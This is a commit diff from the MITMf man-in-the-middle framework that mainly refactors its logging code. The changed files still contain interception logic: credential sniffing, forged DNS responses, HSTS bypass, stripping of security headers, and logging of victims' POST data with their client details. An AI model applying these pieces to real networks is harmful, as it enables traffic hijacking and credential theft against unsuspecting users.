mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
Revamped logging , plugins will be re-added later once refactored
This commit is contained in:
parent
fb0e8a3762
commit
ff0ada2a39
34 changed files with 351 additions and 2352 deletions
|
@ -1,46 +1,48 @@
|
|||
#! /usr/bin/env python2.7
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
|
||||
from mitmflib.watchdog.observers import Observer
|
||||
from mitmflib.watchdog.events import FileSystemEventHandler
|
||||
from configobj import ConfigObj
|
||||
|
||||
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ConfigWatcher(FileSystemEventHandler):
|
||||
|
||||
_instance = None
|
||||
config = ConfigObj("./config/mitmf.conf")
|
||||
@property
|
||||
def config(self):
|
||||
return ConfigObj("./config/mitmf.conf")
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ConfigWatcher._instance is None:
|
||||
ConfigWatcher._instance = ConfigWatcher()
|
||||
def on_modified(self, event):
|
||||
log.debug("[{}] Detected configuration changes, reloading!".format(self.name))
|
||||
self.on_config_change()
|
||||
|
||||
return ConfigWatcher._instance
|
||||
|
||||
def startConfigWatch(self):
|
||||
def start_config_watch(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config', recursive=False)
|
||||
observer.start()
|
||||
|
||||
def getConfig(self):
|
||||
return self.config
|
||||
|
||||
def on_modified(self, event):
|
||||
mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__))
|
||||
self.reloadConfig()
|
||||
self.onConfigChange()
|
||||
|
||||
def onConfigChange(self):
|
||||
def on_config_change(self):
|
||||
""" We can subclass this function to do stuff after the config file has been modified"""
|
||||
pass
|
||||
|
||||
def reloadConfig(self):
|
||||
try:
|
||||
self.config = ConfigObj("./config/mitmf.conf")
|
||||
except Exception as e:
|
||||
mitmf_logger.error("Error reloading config file: {}".format(e))
|
||||
pass
|
||||
|
|
46
core/logger.py
Normal file
46
core/logger.py
Normal file
|
@ -0,0 +1,46 @@
|
|||
#! /usr/bin/env python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
|
||||
|
||||
class logger:
|
||||
|
||||
log_level = None
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'):
|
||||
fileHandler = logging.FileHandler(logfile)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
streamHandler.setFormatter(formatter)
|
||||
|
||||
logger = logging.getLogger(name)
|
||||
logger.propagate = False
|
||||
logger.addHandler(streamHandler)
|
||||
logger.addHandler(fileHandler)
|
||||
logger.setLevel(self.log_level)
|
||||
|
||||
return logger
|
|
@ -20,7 +20,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
|||
from scapy.all import *
|
||||
conf.verb=0
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
DN = open(devnull, 'w')
|
||||
pkt_frag_loads = OrderedDict()
|
||||
|
@ -47,13 +47,11 @@ class NetCreds:
|
|||
|
||||
version = "1.0"
|
||||
|
||||
def sniffer(self, myip, interface):
|
||||
#set the filter to our ip to prevent capturing traffic coming/going from our box
|
||||
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0)
|
||||
#sniff(iface=interface, prn=pkt_parser, store=0)
|
||||
def sniffer(self, interface):
|
||||
sniff(iface=interface, prn=pkt_parser, store=0)
|
||||
|
||||
def start(self, myip, interface):
|
||||
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, myip,))
|
||||
def start(self, interface):
|
||||
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
|
@ -903,7 +901,7 @@ def printer(src_ip_port, dst_ip_port, msg):
|
|||
print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
|
||||
# All credentials will have dst_ip_port, URLs will not
|
||||
|
||||
mitmf_logger.info("[NetCreds] {}".format(print_str))
|
||||
log.info("[NetCreds] {}".format(print_str))
|
||||
else:
|
||||
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
|
||||
mitmf_logger.info("[NetCreds] {}".format(print_str))
|
||||
log.info("[NetCreds] {}".format(print_str))
|
||||
|
|
|
@ -21,7 +21,7 @@ import logging
|
|||
import inspect
|
||||
import traceback
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ProxyPlugins:
|
||||
'''
|
||||
|
@ -44,11 +44,11 @@ class ProxyPlugins:
|
|||
_instance = None
|
||||
|
||||
plist = []
|
||||
mthdDict = {"connectionMade": "clientRequest",
|
||||
"handleStatus": "serverResponseStatus",
|
||||
"handleResponse": "serverResponse",
|
||||
"handleHeader": "serverHeaders",
|
||||
"handleEndHeaders":"serverHeaders"}
|
||||
mthdDict = {"connectionMade" : "request",
|
||||
"handleStatus" : "responsestatus",
|
||||
"handleResponse" : "response",
|
||||
"handleHeader" : "responseheaders",
|
||||
"handleEndHeaders": "responseheaders"}
|
||||
|
||||
pmthds = {}
|
||||
|
||||
|
@ -65,12 +65,12 @@ class ProxyPlugins:
|
|||
for p in plugins:
|
||||
self.addPlugin(p)
|
||||
|
||||
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
||||
log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
||||
|
||||
def addPlugin(self,p):
|
||||
'''Load a plugin'''
|
||||
self.plist.append(p)
|
||||
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||
log.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
try:
|
||||
self.pmthds[mthd].append(getattr(p,pmthd))
|
||||
|
@ -80,7 +80,7 @@ class ProxyPlugins:
|
|||
def removePlugin(self,p):
|
||||
'''Unload a plugin'''
|
||||
self.plist.remove(p)
|
||||
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||
log.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
self.pmthds[mthd].remove(p)
|
||||
|
||||
|
@ -105,7 +105,7 @@ class ProxyPlugins:
|
|||
|
||||
del args['self']
|
||||
|
||||
mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname))
|
||||
log.debug("[ProxyPlugins] hooking {}()".format(fname))
|
||||
#calls any plugin that has this hook
|
||||
try:
|
||||
for f in self.pmthds[fname]:
|
||||
|
@ -115,7 +115,7 @@ class ProxyPlugins:
|
|||
pass
|
||||
except Exception as e:
|
||||
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
|
||||
mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function")
|
||||
log.error("[ProxyPlugins] Exception occurred in hooked function")
|
||||
traceback.print_exc()
|
||||
|
||||
#pass our changes to the locals back down
|
||||
|
|
|
@ -46,11 +46,7 @@ from core.utils import shutdown
|
|||
from mitmflib.dnslib import *
|
||||
from IPy import IP
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
dnschef_logger = logging.getLogger('dnschef')
|
||||
fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log")
|
||||
fileHandler.setFormatter(formatter)
|
||||
dnschef_logger.addHandler(fileHandler)
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
|
||||
# calculate an appropriate response based on user parameters.
|
||||
|
@ -70,8 +66,8 @@ class DNSHandler():
|
|||
# Parse data as DNS
|
||||
d = DNSRecord.parse(data)
|
||||
|
||||
except Exception, e:
|
||||
dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
|
||||
except Exception as e:
|
||||
log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
|
||||
|
||||
else:
|
||||
# Only Process DNS Queries
|
||||
|
@ -115,7 +111,7 @@ class DNSHandler():
|
|||
# Create a custom response to the query
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
||||
|
||||
# IPv6 needs additional work before inclusion:
|
||||
if qtype == "AAAA":
|
||||
|
@ -184,7 +180,7 @@ class DNSHandler():
|
|||
response = response.pack()
|
||||
|
||||
elif qtype == "*" and not None in fake_records.values():
|
||||
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
||||
log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
|
@ -259,7 +255,7 @@ class DNSHandler():
|
|||
|
||||
# Proxy the request
|
||||
else:
|
||||
dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
||||
log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
||||
|
||||
nameserver_tuple = random.choice(nameservers).split('#')
|
||||
response = self.proxyrequest(data, *nameserver_tuple)
|
||||
|
@ -339,13 +335,13 @@ class DNSHandler():
|
|||
sock.close()
|
||||
|
||||
except Exception, e:
|
||||
dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e))
|
||||
log.warning("[DNSChef] Could not proxy request: {}".format(e))
|
||||
else:
|
||||
return reply
|
||||
|
||||
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
||||
|
||||
dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
||||
log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
||||
|
||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||
|
||||
|
@ -435,7 +431,7 @@ class DNSChef(ConfigWatcher):
|
|||
|
||||
return DNSChef._instance
|
||||
|
||||
def onConfigChange(self):
|
||||
def on_config_change(self):
|
||||
config = self.config['MITMf']['DNS']
|
||||
|
||||
self.port = int(config['port'])
|
||||
|
@ -472,8 +468,8 @@ class DNSChef(ConfigWatcher):
|
|||
self.hsts = True
|
||||
|
||||
def start(self):
|
||||
self.onConfigChange()
|
||||
self.startConfigWatch()
|
||||
self.on_config_change()
|
||||
self.start_config_watch()
|
||||
|
||||
try:
|
||||
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
|
||||
|
|
|
@ -9,15 +9,16 @@ from core.servers.smb.KarmaSMB import KarmaSMBServer
|
|||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
#Logging is something I'm going to have to clean up in the future
|
||||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
impacket_ver = version.VER_MINOR
|
||||
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
|
||||
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
|
||||
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
|
||||
self.impacket_ver = version.VER_MINOR
|
||||
self.server_type = self.config["MITMf"]["SMB"]["type"].lower()
|
||||
self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.smb_port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
|
|
@ -40,7 +40,7 @@ from URLMonitor import URLMonitor
|
|||
from CookieCleaner import CookieCleaner
|
||||
from DnsCache import DnsCache
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ClientRequest(Request):
|
||||
|
||||
|
@ -74,24 +74,23 @@ class ClientRequest(Request):
|
|||
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
|
||||
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
|
||||
|
||||
if 'if-none-match' in headers:
|
||||
del headers['if-none-match']
|
||||
|
||||
if 'host' in headers:
|
||||
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
|
||||
mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
|
||||
headers['host'] = host
|
||||
self.setHeader('Host', host)
|
||||
|
||||
if 'accept-encoding' in headers:
|
||||
del headers['accept-encoding']
|
||||
mitmf_logger.debug("[ClientRequest] Zapped encoding")
|
||||
log.debug("[ClientRequest] Zapped encoding")
|
||||
|
||||
if 'if-none-match' in headers:
|
||||
del headers['if-none-match']
|
||||
|
||||
if 'if-modified-since' in headers:
|
||||
del headers['if-modified-since']
|
||||
|
||||
if 'cache-control' in headers:
|
||||
del headers['cache-control']
|
||||
headers['pragma'] = 'no-cache'
|
||||
|
||||
return headers
|
||||
|
||||
|
@ -110,11 +109,11 @@ class ClientRequest(Request):
|
|||
|
||||
if os.path.exists(scriptPath): return scriptPath
|
||||
|
||||
mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico")
|
||||
log.warning("[ClientRequest] Error: Could not find lock.ico")
|
||||
return "lock.ico"
|
||||
|
||||
def handleHostResolvedSuccess(self, address):
|
||||
mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
host = self.getHeader("host")
|
||||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
|
@ -152,22 +151,22 @@ class ClientRequest(Request):
|
|||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
mitmf_logger.debug("[ClientRequest] Sending expired cookies")
|
||||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response")
|
||||
log.debug("[ClientRequest] Sending spoofed favicon response")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("[ClientRequest] Sending request via HTTP")
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
|
@ -176,7 +175,7 @@ class ClientRequest(Request):
|
|||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
log.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
|
@ -186,23 +185,23 @@ class ClientRequest(Request):
|
|||
address = self.dnsCache.getCachedAddress(host)
|
||||
|
||||
if address != None:
|
||||
mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
|
||||
mitmf_logger.debug("[ClientRequest] Host not cached.")
|
||||
log.debug("[ClientRequest] Host not cached.")
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
|
||||
log.debug("[ClientRequest] Resolving with DNSChef")
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
log.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
if self.hsts:
|
||||
|
|
|
@ -18,7 +18,7 @@
|
|||
|
||||
import logging
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class DnsCache:
|
||||
|
||||
|
@ -51,7 +51,7 @@ class DnsCache:
|
|||
def setCustomRes(self, host, ip_address=None):
|
||||
if ip_address is not None:
|
||||
self.cache[host] = ip_address
|
||||
mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
|
||||
log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
|
||||
else:
|
||||
if self.customAddress is not None:
|
||||
self.cache[host] = self.customAddress
|
||||
|
|
|
@ -23,7 +23,7 @@ import string
|
|||
from ServerConnection import ServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class SSLServerConnection(ServerConnection):
|
||||
|
||||
|
@ -59,11 +59,11 @@ class SSLServerConnection(ServerConnection):
|
|||
for v in values:
|
||||
if v[:7].lower()==' domain':
|
||||
dominio=v.split("=")[1]
|
||||
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||
log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||
real = self.urlMonitor.real
|
||||
if dominio in real:
|
||||
v=" Domain=%s"%real[dominio]
|
||||
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||
log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||
newvalues.append(v)
|
||||
value = ';'.join(newvalues)
|
||||
|
||||
|
@ -87,13 +87,13 @@ class SSLServerConnection(ServerConnection):
|
|||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||
|
||||
mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
elif not link.startswith('http'):
|
||||
absoluteLink = "http://"+self.headers['host']+link
|
||||
|
||||
mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
|
||||
if not absoluteLink == "":
|
||||
absoluteLink = absoluteLink.replace('&', '&')
|
||||
|
|
|
@ -16,11 +16,11 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import logging
|
||||
import re
|
||||
import string
|
||||
import random
|
||||
import zlib
|
||||
import random
|
||||
import zlib
|
||||
import gzip
|
||||
import StringIO
|
||||
import sys
|
||||
|
@ -29,8 +29,10 @@ from mitmflib.user_agents import parse
|
|||
from twisted.web.http import HTTPClient
|
||||
from URLMonitor import URLMonitor
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ServerConnection", formatter)
|
||||
|
||||
class ServerConnection(HTTPClient):
|
||||
|
||||
|
@ -56,7 +58,7 @@ class ServerConnection(HTTPClient):
|
|||
self.headers = headers
|
||||
self.client = client
|
||||
self.printPostData = True
|
||||
self.clientInfo = None
|
||||
self.clientInfo = {}
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.hsts = URLMonitor.getInstance().hsts
|
||||
self.app = URLMonitor.getInstance().app
|
||||
|
@ -66,27 +68,18 @@ class ServerConnection(HTTPClient):
|
|||
self.contentLength = None
|
||||
self.shutdownComplete = False
|
||||
|
||||
def getPostPrefix(self):
|
||||
return "POST"
|
||||
|
||||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
try:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
||||
mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host']))
|
||||
except Exception as e:
|
||||
mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
|
||||
mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
pass
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
|
||||
log.info(self.headers['host'], extra=self.clientInfo)
|
||||
|
||||
log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
||||
def sendHeaders(self):
|
||||
for header, value in self.headers.iteritems():
|
||||
mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
self.sendHeader(header, value)
|
||||
|
||||
self.endHeaders()
|
||||
|
@ -96,17 +89,26 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
||||
if len(postdata) > 0:
|
||||
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
|
||||
log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
|
||||
except Exception as e:
|
||||
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
|
||||
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
pass
|
||||
log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
|
||||
|
||||
self.printPostData = True
|
||||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||
log.debug("[ServerConnection] HTTP connection made.")
|
||||
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
self.clientInfo["clientip"] = self.client.getClientIP()
|
||||
self.clientInfo["clientos"] = user_agent.os.family
|
||||
self.clientInfo["browser"] = user_agent.browser.family
|
||||
try:
|
||||
self.clientInfo["browserv"] = user_agent.browser.version[0]
|
||||
except IndexError:
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
|
||||
self.plugins.hook()
|
||||
self.sendRequest()
|
||||
|
@ -123,7 +125,7 @@ class ServerConnection(HTTPClient):
|
|||
code = values['code']
|
||||
message = values['message']
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
|
@ -135,18 +137,15 @@ class ServerConnection(HTTPClient):
|
|||
if (key.lower() == 'content-type'):
|
||||
if (value.find('image') != -1):
|
||||
self.isImageRequest = True
|
||||
mitmf_logger.debug("[ServerConnection] Response is image content, not scanning")
|
||||
log.debug("[ServerConnection] Response is image content, not scanning")
|
||||
|
||||
if (key.lower() == 'content-encoding'):
|
||||
if (value.find('gzip') != -1):
|
||||
mitmf_logger.debug("[ServerConnection] Response is compressed")
|
||||
log.debug("[ServerConnection] Response is compressed")
|
||||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
if self.clientInfo is not None:
|
||||
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
|
||||
else:
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
|
||||
log.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -161,14 +160,17 @@ class ServerConnection(HTTPClient):
|
|||
if (self.isImageRequest and self.contentLength != None):
|
||||
self.client.setHeader("Content-Length", self.contentLength)
|
||||
|
||||
self.client.setHeader("Expires", "0")
|
||||
self.client.setHeader("Cache-Control", "No-Cache")
|
||||
|
||||
if self.length == 0:
|
||||
self.shutdown()
|
||||
|
||||
self.plugins.hook()
|
||||
|
||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
|
||||
def handleResponsePart(self, data):
|
||||
if (self.isImageRequest):
|
||||
|
@ -180,20 +182,21 @@ class ServerConnection(HTTPClient):
|
|||
if (self.isImageRequest):
|
||||
self.shutdown()
|
||||
else:
|
||||
#Gets rid of some generic errors
|
||||
try:
|
||||
HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
|
||||
HTTPClient.handleResponseEnd(self)
|
||||
except:
|
||||
pass
|
||||
|
||||
def handleResponse(self, data):
|
||||
if (self.isCompressed):
|
||||
mitmf_logger.debug("[ServerConnection] Decompressing content...")
|
||||
log.debug("[ServerConnection] Decompressing content...")
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
data = self.plugins.hook()['data']
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
|
@ -206,7 +209,7 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
self.shutdown()
|
||||
except:
|
||||
mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
